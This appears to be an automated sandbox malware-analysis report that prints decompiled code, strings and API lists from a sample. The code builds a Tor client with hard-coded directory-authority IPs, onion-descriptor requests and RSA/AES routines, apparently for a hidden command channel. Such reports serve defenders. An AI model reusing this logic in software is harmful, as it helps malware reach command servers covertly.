														 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptEncrypt")))();
														E0040605D( &_v460,  &_v460, 0, 1);
														_v1312 = 0x4d42444b;
														_v1308 = 1;
														_v1304 = 0x10;
														E004061D2( &_v1086,  &_v1300, 0x10);
														_push(0);
														_push(0x1c);
														_push( &_v1312);
														_push(0);
														_push(0);
														_push( &_v460);
														_push(L"KeyDataBlob");
														_push(0);
														_push(_v20);
														 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptImportKey")))();
														E004061D2( &_v1000, _t1041 + 0xa4, 0xf7);
														E00403554(__eflags, _v460, _t1041 + 0xa4, 0xf7, 0);
														E0040605D( &_v460,  &_v460, 0, 1);
														E00403616(_v12, _v484, _v476, 0, _t1041 + 5, 0, _v532);
														E00404224(__eflags, _v1896, _v1924, 0x202, 0, _a12);
														_t959 = E00404554(_v1896, _v1920, 0x404, _a12, 0x64);
														_t1042 = _v1920;
														__eflags = _t959;
														if(_t959 != 0) {
															goto L131;
														}
														__eflags =  *((char*)(_t1042 + 4)) - 3;
														if(__eflags != 0) {
															goto L133;
														}
														_t961 = E00403697(__eflags, _v12, _v480, _v472, 0, _t1042 + 5, 1, _v528);
														__eflags = _t961;
														if(_t961 == 0) {
															goto L131;
														}
														__eflags =  *((intOrPtr*)(_t1042 + 5)) - 0x28;
														if(__eflags != 0) {
															goto L133;
														}
														_t963 = E00403697(__eflags, _v12, _v512, _v504, 0, _t1042 + 0x207, 2, _v560);
														__eflags = _t963;
														if(_t963 == 0) {
															goto L131;
														}
														E0040618C(_t1042 + 0x291,  &_v312, 0x80);
														_t973 = E0040372E(__eflags, _v8, _v12, _v20,  &_v456, _t1042 + 0x292,  &_v468,  &_v464,  &_v524,  &_v520);
														__eflags = _t973;
														if(_t973 == 0) {
															goto L131;
														}
														_t987 = 0xffffffff;
														goto L57;
													}
													__eflags = _t987;
													if(_t987 >= 0) {
														goto L133;
													}
													E00406259(_v1924, 0x186a0);
													_t1035 = _v1924;
													 *_t1035 = 0x80;
													 *((char*)(_t1035 + 3)) = 1;
													 *((char*)(_t1035 + 4)) = 3;
													 *((char*)(_t1035 + 5)) = 1;
													 *((char*)(_t1035 + 9)) = _v28;
													 *((char*)(_t1035 + 0xf)) = 0x12;
													E00406270(0x40807e, 0xa,  &_v1740);
													E00406368( &_v1740, 0xa, _t1035 + 0x10);
													 *((char*)(_t1035 + 0x20)) = 0x3a;
													E00406270(0x408074, 0xffffffff,  &_v1828);
													 *((intOrPtr*)(_t1035 + 0xf)) =  *((intOrPtr*)(_t1035 + 0xf)) + E00406492(__eflags,  &_v1828);
													E004061D2( &_v1828, _t1035 + 0x21, _t856);
													E00403616(_v12, _v516, _v508, _v468, _t1035 + 5, 1, _v524);
													E00404224(__eflags, _v1896, _v1924, 0x202, 0, _a12);
													_t863 = E00404554(_v1896, _v1920, 0x202, _a12, 0x64);
													_t1036 = _v1920;
													__eflags = _t863;
													if(_t863 != 0) {
														goto L131;
													}
													__eflags = _t1036[4] - 3;
													if(__eflags != 0) {
														goto L131;
													}
													_t865 = E00403697(__eflags, _v12, _v512, _v504, _v464,  &(_t1036[5]), 3, _v520);
													__eflags = _t865;
													if(_t865 == 0) {
														goto L131;
													}
													__eflags = _t1036[5] - 4;
													if(_t1036[5] == 4) {
														E004061D2( &_v12, _a24, 4);
														E004061D2( &_v516, _a28, 0x10);
														E004061D2( &_v468, _a28 + 0x10, 8);
														E004061D2( &_v524, _a32, 8);
														E004061D2( &_v28, _a36, 4);
														_v1932 = 1;
													}
													goto L133;
												}
												__eflags = _v1816;
												if(_v1816 == 0) {
													continue;
												}
												goto L26;
											}
											__eflags = _t657 - 0x1f;
											if(__eflags != 0) {
												continue;
											}
											goto L23;
										}
										__eflags = _t657 - 0x17;
										if(_t657 != 0x17) {
											continue;
										}
										goto L21;
									}
									__eflags = _t657 - 7;
									if(_t657 != 7) {
										continue;
									}
									goto L19;
								}
								__eflags = _t657 - 7;
								if(_t657 != 7) {
									continue;
								}
								goto L17;
							}
							break;
						} else {
							continue;
						}
					}
				}
				L133:
				_v40 = 0xc;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
				}
				E0040609E( &_v572,  &_v572, 0, _v40);
				_v40 = 8;
				_v48 = 4;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
					_v48 = 0;
				}
				E0040605D( &_v516,  &_v516, _v48, _v40);
				CryptReleaseContext(_v8, 0);
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_push(0);
					_push(_v12);
					 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				}
				_push(0);
				_push(_v16);
				 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				_push(0);
				_push(_v20);
				 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				E004061D2( &_v1896, _a20, 4);
				E00404681( &_v576);
				E00404681( &_v1928);
				E00404681( &_v1920);
				E00404681( &_v1924);
				return _v1932;
			}

0x004011b8
0x004011cf
0x004011e6
0x004011eb
0x004011ed
0x004011f5
0x004011f9
0x0040120f
0x00401211
0x00401213
0x0040121b
0x0040121f
0x00401235
0x00401237
0x00401239
0x00401241
0x00401245
0x0040125b
0x0040125d
0x0040125f
0x00401267
0x0040126e
0x0040126f
0x00401287
0x00401289
0x00401293
0x0040129d
0x004012a7
0x004012b1
0x004012bb
0x004012c5
0x004012cf
0x004012d9
0x004012e3
0x004012ed
0x004012f7
0x00401301
0x0040130b
0x00401315
0x0040131f
0x00401329
0x00401333
0x0040133d
0x00401347
0x00401351
0x0040135b
0x00401365
0x0040136f
0x0040136f
0x0040136f
0x0040136f
0x00401375
0x00000000
0x00000000
0x0040137d
0x004013a6
0x004013a6
0x004013a8
0x00000000
0x00000000
0x004013aa
0x004013bb
0x004013c0
0x004013c2
0x00000000
0x004013c4
0x004013cf
0x004013da
0x004013df
0x004013e9
0x004013f3
0x004013f9
0x004013fd
0x00401410
0x00401417
0x0040141c
0x0040141f
0x00401421
0x00401421
0x0040141f
0x00401427
0x00401428
0x00401428
0x00401428
0x00401437
0x0040143e
0x0040269a
0x0040269a
0x004026a1
0x00000000
0x00000000
0x00401466
0x00401469
0x0040146e
0x00401475
0x00401480
0x00401480
0x00401487
0x00401492
0x00401492
0x00401499
0x004014a4
0x004014a4
0x004014ab
0x004014b6
0x004014dd
0x004014e2
0x004014e2
0x004014e4
0x00000000
0x00000000
0x004014ea
0x004014f1
0x00401500
0x00401500
0x00401507
0x00401dc6
0x00401dcd
0x00402311
0x00402318
0x0040248c
0x00402493
0x00402677
0x00402677
0x00000000
0x00402677
0x004024b7
0x004024b9
0x0040267f
0x0040268b
0x00402690
0x00000000
0x00402690
0x004024d1
0x004024d6
0x004024ec
0x004024f1
0x004024f3
0x00000000
0x00000000
0x00402505
0x0040250a
0x0040250c
0x00000000
0x00000000
0x00402512
0x00402518
0x0040251f
0x00402526
0x00402539
0x00402544
0x00402545
0x00402547
0x00402549
0x0040254f
0x00402550
0x00402552
0x00402557
0x00402559
0x00000000
0x00000000
0x0040256f
0x00402574
0x00402576
0x00000000
0x00000000
0x0040257c
0x0040257f
0x00402585
0x00402587
0x00402587
0x00402587
0x00402590
0x00402595
0x0040259c
0x00000000
0x00000000
0x0040259e
0x004025a8
0x004025ad
0x004025b0
0x00000000
0x00000000
0x004025bb
0x004025c4
0x004025c7
0x00000000
0x00402672
0x004025db
0x004025fe
0x00402600
0x00402609
0x0040260b
0x0040260d
0x0040261e
0x00402623
0x00402629
0x0040263a
0x0040263f
0x00402645
0x0040264b
0x00402650
0x00402653
0x0040266b
0x00000000
0x0040266b
0x00000000
0x00402526
0x0040237c
0x00402381
0x00402383
0x00000000
0x00000000
0x00402394
0x00402399
0x0040239f
0x004023a2
0x004023a6
0x004023aa
0x004023ae
0x004023b2
0x004023cc
0x004023cc
0x004023cf
0x00000000
0x00000000
0x004023c3
0x004023cb
0x004023cb
0x004023cb
0x004023de
0x00402400
0x0040241b
0x00402436
0x0040243b
0x00402441
0x00402443
0x00000000
0x00000000
0x00402449
0x0040244d
0x00000000
0x00000000
0x00402470
0x00402475
0x00402477
0x00000000
0x00000000
0x0040247d
0x00402481
0x00000000
0x00000000
0x00000000
0x00402487
0x00401dd3
0x00401dda
0x00401de1
0x004022fa
0x004022fa
0x004022fe
0x00000000
0x00000000
0x00401df0
0x00401e0d
0x00401e29
0x00401e3e
0x00401e50
0x00401e62
0x00401e67
0x00401f4d
0x00401f4d
0x00401f51
0x00000000
0x00000000
0x00401e78
0x00401e7d
0x00401eb3
0x00401eb8
0x00401ebf
0x00401ec1
0x00401f2b
0x00401f2b
0x00401f2f
0x00401f48
0x00401f31
0x00401f34
0x00401f39
0x00401f39
0x00000000
0x00401f2f
0x00401ed7
0x00401ef5
0x00401efa
0x00401f26
0x00401f26
0x00401f29
0x00000000
0x00000000
0x00401efe
0x00401f06
0x00401f0e
0x00000000
0x00401f24
0x00401f10
0x00401f18
0x00401f1a
0x00401f1a
0x00401f21
0x00401f21
0x00000000
0x00401f26
0x00401f57
0x004022ed
0x004022ed
0x004022f1
0x00000000
0x00000000
0x00401f6c
0x00401f71
0x00401f72
0x00401f96
0x00401f98
0x00000000
0x00000000
0x00402002
0x00402004
0x004022b4
0x004022c6
0x004022cb
0x004022ce
0x004022d1
0x004022e4
0x004022e9
0x004022eb
0x00402309
0x00000000
0x00402309
0x00000000
0x004022eb
0x00402015
0x0040201a
0x00402020
0x00402026
0x00402029
0x0040202d
0x00402034
0x00402054
0x0040206f
0x0040208a
0x0040208f
0x00402095
0x00402097
0x00000000
0x00000000
0x0040209d
0x004020a1
0x00000000
0x00000000
0x004020c4
0x004020c9
0x004020cb
0x00000000
0x00000000
0x004020d1
0x004020d5
0x00000000
0x00000000
0x004020e6
0x004020eb
0x004020f1
0x004020f7
0x004020fa
0x004020fe
0x00402105
0x0040211e
0x00402123
0x00402126
0x00402126
0x00402128
0x00402148
0x00402163
0x00402168
0x0040216f
0x00402176
0x0040217d
0x00402183
0x00402194
0x00402199
0x004021ac
0x004021b7
0x004021b8
0x004021ba
0x004021bc
0x004021c2
0x004021c3
0x004021c5
0x004021ca
0x004021cc
0x00000000
0x00000000
0x004021d2
0x004021d4
0x00000000
0x00000000
0x004021ea
0x004021ef
0x004021f1
0x00000000
0x00000000
0x004021fd
0x00402200
0x00402203
0x0040220a
0x00000000
0x00000000
0x00402218
0x00402224
0x00402229
0x00402233
0x00402235
0x00402235
0x00402237
0x00000000
0x00000000
0x0040223d
0x004022a9
0x004022a9
0x004022ad
0x00000000
0x00000000
0x0040224a
0x0040224c
0x004022a0
0x004022a0
0x004022a6
0x004022a6
0x004022a6
0x00000000
0x004022a6
0x0040226c
0x00402271
0x00402273
0x00000000
0x00000000
0x00402279
0x0040227f
0x00000000
0x00000000
0x00402281
0x00402287
0x00000000
0x00000000
0x0040228d
0x00402296
0x0040229b
0x0040229d
0x0040229d
0x0040229d
0x00000000
0x0040229d
0x004022af
0x00000000
0x00402199
0x004022f7
0x004022f7
0x004022f7
0x004022f7
0x00000000
0x00402304
0x00401522
0x00401525
0x00401528
0x0040153b
0x0040153b
0x0040153f
0x00000000
0x00000000
0x00401532
0x00401533
0x00401535
0x00401537
0x00401537
0x00401538
0x00401538
0x00401538
0x00401538
0x00401541
0x00401558
0x00401567
0x0040156c
0x0040156e
0x00000000
0x00000000
0x0040158c
0x00401591
0x00401597
0x0040164d
0x0040164d
0x00401650
0x00000000
0x00000000
0x00401652
0x00401656
0x004015ac
0x004015ac
0x004015ae
0x00000000
0x00000000
0x004015b4
0x004015c4
0x004015c9
0x004015cb
0x00000000
0x00000000
0x004015d1
0x004015e1
0x004015e6
0x004015e8
0x00000000
0x00000000
0x004015ee
0x004015fe
0x00401603
0x00401605
0x00000000
0x00000000
0x0040160c
0x0040160e
0x00401610
0x0040161c
0x00401621
0x00401623
0x00000000
0x00000000
0x0040162c
0x0040163c
0x00401641
0x00401643
0x00000000
0x00000000
0x00401649
0x0040164c
0x0040164c
0x00000000
0x0040164c
0x00000000
0x00401656
0x00401c17
0x00401c17
0x00401c1a
0x00000000
0x00000000
0x00401661
0x004016c4
0x004016c9
0x004016cb
0x00401bfd
0x00401c0f
0x00401c14
0x00401c14
0x00401c14
0x00000000
0x00401c14
0x004016f2
0x004016f7
0x004016f8
0x004016fa
0x00401701
0x00401707
0x0040170c
0x00401718
0x0040171d
0x00401723
0x0040173d
0x0040175b
0x0040177a
0x0040177f
0x00401781
0x00000000
0x00000000
0x00401787
0x0040178d
0x004017a3
0x004017a8
0x004017af
0x004017b6
0x004017bf
0x004017c9
0x004017d3
0x00401803
0x00401808
0x00401809
0x00401817
0x0040181c
0x00401834
0x00401840
0x00401846
0x00401850
0x00401850
0x00401850
0x00401852
0x00000000
0x00000000
0x0040184a
0x0040184b
0x0040184d
0x0040184f
0x0040184f
0x0040184d
0x00401854
0x0040186c
0x0040188b
0x00401890
0x004018a3
0x004018ab
0x004018b2
0x004018b3
0x004018b5
0x004018c0
0x004018c1
0x004018c3
0x004018c5
0x004018ca
0x004018d4
0x004018de
0x004018e8
0x004018f2
0x004018fc
0x0040190c
0x0040190e
0x00401927
0x0040192c
0x0040192e
0x00401939
0x00401940
0x00401947
0x00401948
0x0040194a
0x00401962
0x0040196f
0x00401974
0x0040197a
0x00401980
0x00401983
0x00401987
0x00401990
0x00401993
0x004019ad
0x004019b8
0x004019be
0x004019c8
0x004019d2
0x004019d7
0x004019d8
0x004019e0
0x004019e1
0x004019e3
0x004019eb
0x004019ec
0x004019f4
0x004019f5
0x00401a10
0x00401a1d
0x00401a22
0x00401a2c
0x00401a36
0x00401a50
0x00401a55
0x00401a57
0x00401a5f
0x00401a60
0x00401a62
0x00401a6a
0x00401a71
0x00401a72
0x00401a74
0x00401a8c
0x00401aa1
0x00401aba
0x00401aca
0x00401aec
0x00401b07
0x00401b22
0x00401b27
0x00401b2d
0x00401b2f
0x00000000
0x00000000
0x00401b35
0x00401b39
0x00000000
0x00000000
0x00401b5c
0x00401b61
0x00401b63
0x00000000
0x00000000
0x00401b69
0x00401b6d
0x00000000
0x00000000
0x00401b93
0x00401b98
0x00401b9a
0x00000000
0x00000000
0x00401bb3
0x00401beb
0x00401bf0
0x00401bf2
0x00000000
0x00000000
0x00401bf8
0x00000000
0x00401bf8
0x00401c20
0x00401c22
0x00000000
0x00000000
0x00401c33
0x00401c38
0x00401c3e
0x00401c41
0x00401c45
0x00401c49
0x00401c50
0x00401c53
0x00401c65
0x00401c77
0x00401c7c
0x00401c8e
0x00401c9f
0x00401cae
0x00401cd4
0x00401cef
0x00401d0a
0x00401d0f
0x00401d15
0x00401d17
0x00000000
0x00000000
0x00401d1d
0x00401d21
0x00000000
0x00000000
0x00401d48
0x00401d4d
0x00401d4f
0x00000000
0x00000000
0x00401d55
0x00401d59
0x00401d68
0x00401d7c
0x00401d8e
0x00401d9f
0x00401dad
0x00401db2
0x00401db2
0x00000000
0x00401d59
0x004014f3
0x004014fa
0x00000000
0x00000000
0x00000000
0x004014fa
0x004014ad
0x004014b0
0x00000000
0x00000000
0x00000000
0x004014b0
0x0040149b
0x0040149e
0x00000000
0x00000000
0x00000000
0x0040149e
0x00401489
0x0040148c
0x00000000
0x00000000
0x00000000
0x0040148c
0x00401477
0x0040147a
0x00000000
0x00000000
0x00000000
0x0040147a
0x00000000
0x00401439
0x00000000
0x00401439
0x00401437
0x004013c2
0x004026a7
0x004026a7
0x004026ae
0x004026b5
0x004026b7
0x004026b7
0x004026ca
0x004026cf
0x004026d6
0x004026dd
0x004026e4
0x004026e6
0x004026ed
0x004026ed
0x00402701
0x0040270b
0x00402710
0x00402717
0x00402719
0x0040271b
0x00402733
0x00402733
0x00402735
0x00402737
0x0040274f
0x00402751
0x00402753
0x0040276b
0x00402779
0x00402785
0x00402791
0x0040279d
0x004027a9
0x004027b8

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider,0000000D,F0000000,?,?,00408566,?,00000003), ref: 004011E6
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 0040270B

Part of subcall function 00402A45: wsprintfA.USER32 ref: 00402A94

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401558
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040158C
inet_addr.WSOCK32(?,00000100,?,00000400,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00401707
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040173D
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040175B

Part of subcall function 00403DE9: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00403EE2
Part of subcall function 00403DE9: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00403F00

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040186C
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040188B
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 004018C5

Part of subcall function 00404554: select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,00408566,?,00000003), ref: 00404591

Strings

128.31.0.34, xrefs: 0040133D
199.58.81.140, xrefs: 004012C5
BCryptCloseAlgorithmProvider, xrefs: 00402728, 00402744, 00402760
KEY-----, xrefs: 00401613
ip-address, xrefs: 004015BB
-----END, xrefs: 00401633
introduction-point, xrefs: 0040159E
P, xrefs: 004012BB
/tor/status-vote/current/consensus, xrefs: 0040138C
AES, xrefs: 0040123B, 00401241
GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close, xrefs: 00402115
128.31.0.39, xrefs: 00401351
ChainingMode, xrefs: 00401268, 0040126E
BCryptImportKeyPair, xrefs: 00401957
P, xrefs: 004012CF
-----BEGIN MESSAGE-----, xrefs: 0040150D
ChainingModeECB, xrefs: 00401261, 00401267
KDBM, xrefs: 00401A22
onion-port, xrefs: 004015D8
BCryptEncrypt, xrefs: 00401A05
KeyDataBlob, xrefs: 00401A6B, 00401A71
RSAPUBLICBLOB, xrefs: 00401941, 00401947
BCryptOpenAlgorithmProvider, xrefs: 00401204, 0040122A, 00401250
P, xrefs: 0040131F
RSA, xrefs: 00401215, 0040121B
131.188.40.189, xrefs: 00401301
171.25.193.9, xrefs: 00401329
P, xrefs: 004012F7
204.13.164.118, xrefs: 004012D9
P, xrefs: 004012A7
bcrypt.dll, xrefs: 004011FA, 00401220, 00401246, 00401272, 0040194D, 004019FB, 00401A77, 0040271E, 0040273A, 00402756
154.35.175.225, xrefs: 00401315
193.23.244.244, xrefs: 0040129D
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider, xrefs: 004011DB
directory-footer, xrefs: 004013AD
-----END MESSAGE-----, xrefs: 004022D4
SHA1, xrefs: 004011EF, 004011F5, 004019B2
P, xrefs: 0040130B
BCryptSetProperty, xrefs: 0040127C
86.59.21.38, xrefs: 004012B1
service-key, xrefs: 004015F5
BCryptImportKey, xrefs: 00401A81
194.109.206.212, xrefs: 004012ED
P, xrefs: 004012E3

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Crypt$BinaryString$Context$AcquireDecodeObjectReleaseinet_addrselectwsprintf
String ID: -----BEGIN MESSAGE-----$-----END$-----END MESSAGE-----$/tor/status-vote/current/consensus$128.31.0.34$128.31.0.39$131.188.40.189$154.35.175.225$171.25.193.9$193.23.244.244$194.109.206.212$199.58.81.140$204.13.164.118$86.59.21.38$AES$BCryptCloseAlgorithmProvider$BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$BCryptOpenAlgorithmProvider$BCryptSetProperty$ChainingMode$ChainingModeECB$GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close$KDBM$KEY-----$KeyDataBlob$Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider$P$P$P$P$P$P$P$RSA$RSAPUBLICBLOB$SHA1$bcrypt.dll$directory-footer$introduction-point$ip-address$onion-port$service-key
API String ID: 1114855807-1473801416
Opcode ID: 6e82316541f79fb6ff0ad979b33c91711a3f354ce3701add97e9ec13b285dd14
Instruction ID: 41d08dab3cc7980140572954f0b0bb5926a0dd7d15b285d7bfdccc1a5b9af0f2
Opcode Fuzzy Hash: 6e82316541f79fb6ff0ad979b33c91711a3f354ce3701add97e9ec13b285dd14
Instruction Fuzzy Hash: A9D29071D40219AEDF219B90CD45FEEB779AF44304F0040EAF608B61D1DB7AAAA4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00861408 Relevance: 53.9, APIs: 15, Strings: 15, Instructions: 1413encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 008617A8
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 008617DC
inet_addr.WS2_32(?), ref: 00861957
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0086198D
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 008619AB

Part of subcall function 00864039: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00864150

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00861ABC
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00861ADB
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00861B15

Part of subcall function 008647A4: select.WS2_32(00000000,?,00000000,00000000,?), ref: 008647E1

CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 0086295B

Strings

KDBM, xrefs: 00861C72
ChainingModeECB, xrefs: 008614B1, 008614B7
SHA1, xrefs: 0086143F, 00861445, 00861C02
RSA, xrefs: 00861465, 0086146B
AES, xrefs: 0086148B, 00861491
P, xrefs: 0086155B
P, xrefs: 0086150B
P, xrefs: 00861533
P, xrefs: 0086156F
P, xrefs: 00861547
P, xrefs: 0086151F
P, xrefs: 008614F7
KeyDataBlob, xrefs: 00861CBB, 00861CC1
RSAPUBLICBLOB, xrefs: 00861B91, 00861B97
ChainingMode, xrefs: 008614B8, 008614BE

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextDecodeObjectReleaseinet_addrselect
String ID: AES$ChainingMode$ChainingModeECB$KDBM$KeyDataBlob$P$P$P$P$P$P$P$RSA$RSAPUBLICBLOB$SHA1
API String ID: 1993778655-2997045072
Opcode ID: edb7c15d712722c0f1151b9f6b153cef0f49d34c0a751fea1b3039de2f80a0b7
Instruction ID: cb22fbef989826293486fbe5304670be1c692532a495c14652594a40b239e9c8
Opcode Fuzzy Hash: edb7c15d712722c0f1151b9f6b153cef0f49d34c0a751fea1b3039de2f80a0b7
Instruction Fuzzy Hash: EBD28C71D40259AAEF219B90CC45FEEBB79FB08300F1140E5F608F6091DB76AAA4DF56

Uniqueness

Uniqueness Score: -1.00%

Function 004038DA Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004038DA(void* __eflags, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				char _v16;
				char _v516;
				char _v568;
				intOrPtr _v572;
				int _v576;
				int _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				char _v596;
				char _v597;
				intOrPtr _v728;
				char _v732;
				intOrPtr _v736;
				int _v740;
				char _v744;
				char _v884;
				char _v942;
				char _v1012;
				char _v1028;
				int _v1032;
				char _v1040;
				char _v1044;
				int _v1052;
				int _v1056;
				char* _v1060;
				void* _t72;
				void* _t126;
				void* _t129;
				void* _t130;

				_t130 = __eflags;
				E00406259( &_v1060,  &_v16 - _t129);
				if(E00406492(_t130, _a12) == 0x20) {
					_v1032 = E004063E2(_a12,  &_v516);
				} else {
					CryptStringToBinaryA(_a12, 0, 1, 0,  &_v1032, 0, 0);
					CryptStringToBinaryA(_a12, 0, 1,  &_v516,  &_v1032, 0, 0);
				}
				_t132 = _a36 - 1;
				if(_a36 == 1) {
					_t123 = _a32;
					E004061D2( &_v516, _a32 + 0xba, _v1032);
				}
				_t72 = E00403DE9(_t123, _t132, _a4, _a8,  &_v516,  &_v884);
				if(_t72 != 0) {
					_t72 = E00403BB4(_a20, _a16,  &_v1012);
					_t134 = _t72;
					if(_t72 != 0) {
						E004065B9(_t72, 0x100);
						asm("stosb");
						asm("loop 0xfffffff5");
						_v1044 = 0x94;
						_push( &_v1044);
						_push( &_v744);
						_push(0);
						_push(0x8c);
						_push( &_v884);
						_push(0x13);
						_push(1);
						L00406AB4();
						_v596 = 0x31415352;
						_v592 = 0x400;
						_v588 = 4;
						_v584 = 0x80;
						_v580 = 0;
						_v576 = 0;
						asm("bswap eax");
						_v572 = _v728;
						E0040618C( &_v597,  &_v568, 0x80);
						_push(0);
						_push(0x9c);
						_push( &_v596);
						_push( &_v1040);
						_push(L"RSAPUBLICBLOB");
						_push(0);
						_push(_a24);
						 *((intOrPtr*)(E00406788(_t134, E00406698("bcrypt.dll"), "BCryptImportKeyPair")))();
						_v1060 = L"SHA1";
						_v1056 = 0;
						_v1052 = 0;
						_push(4);
						_push( &_v1044);
						_push(0x80);
						_push(_a32);
						_push(0);
						_push(0);
						_push( &_v1060);
						_push(0x56);
						_push( &_v1028);
						_push(_v1040);
						 *((intOrPtr*)(E00406788(_t134, E00406698("bcrypt.dll"), "BCryptEncrypt")))();
						E0040605D( &_v1040,  &_v1040, 0, 1);
						_t126 = _a32 + _v1044;
						_v744 = 0x4d42444b;
						_v740 = 1;
						_v736 = 0x10;
						E004061D2( &_v1028,  &_v732, 0x10);
						_push(0);
						_push(0x1c);
						_push( &_v744);
						_push(0);
						_push(0);
						_push( &_v1040);
						_push(L"KeyDataBlob");
						_push(0);
						_push(_a28);
						 *((intOrPtr*)(E00406788(_t134, E00406698("bcrypt.dll"), "BCryptImportKey")))();
						E004061D2( &_v942, _t126, 0x3a);
						E00403554(_t134, _v1040, _t126, 0x3a, 0);
						E0040605D( &_v1040,  &_v1040, 0, 1);
						return _t126 + 0x3a - _a32;
					}
				}
				return _t72;
			}

0x004038da
0x004038f1
0x00403901
0x0040394b
0x00403903
0x00403917
0x00403935
0x00403935
0x00403951
0x00403955
0x00403957
0x0040396e
0x0040396e
0x00403987
0x0040398e
0x004039a1
0x004039a6
0x004039a8
0x004039be
0x004039c3
0x004039c4
0x004039c6
0x004039d6
0x004039dd
0x004039de
0x004039e0
0x004039eb
0x004039ec
0x004039ee
0x004039f0
0x004039f5
0x004039ff
0x00403a09
0x00403a13
0x00403a1d
0x00403a27
0x00403a37
0x00403a39
0x00403a52
0x00403a57
0x00403a59
0x00403a64
0x00403a6b
0x00403a72
0x00403a73
0x00403a75
0x00403a8d
0x00403a95
0x00403a9b
0x00403aa5
0x00403ab2
0x00403aba
0x00403abb
0x00403ac0
0x00403ac3
0x00403ac5
0x00403acd
0x00403ace
0x00403ad6
0x00403ad7
0x00403af2
0x00403aff
0x00403b04
0x00403b0a
0x00403b14
0x00403b1e
0x00403b38
0x00403b3d
0x00403b3f
0x00403b47
0x00403b48
0x00403b4a
0x00403b52
0x00403b59
0x00403b5a
0x00403b5c
0x00403b74
0x00403b80
0x00403b90
0x00403ba6
0x00000000
0x00403bab
0x004039a8
0x00403bb1

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00403917
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00403935
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 004039F0

Strings

SHA1, xrefs: 00403A8F
KDBM, xrefs: 00403B0A
BCryptImportKeyPair, xrefs: 00403A82
bcrypt.dll, xrefs: 00403A78, 00403ADD, 00403B5F
BCryptImportKey, xrefs: 00403B69
RSA1, xrefs: 004039F5
BCryptEncrypt, xrefs: 00403AE7
KeyDataBlob, xrefs: 00403B53, 00403B59
RSAPUBLICBLOB, xrefs: 00403A6C, 00403A72

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1$bcrypt.dll
API String ID: 698452922-2403945854
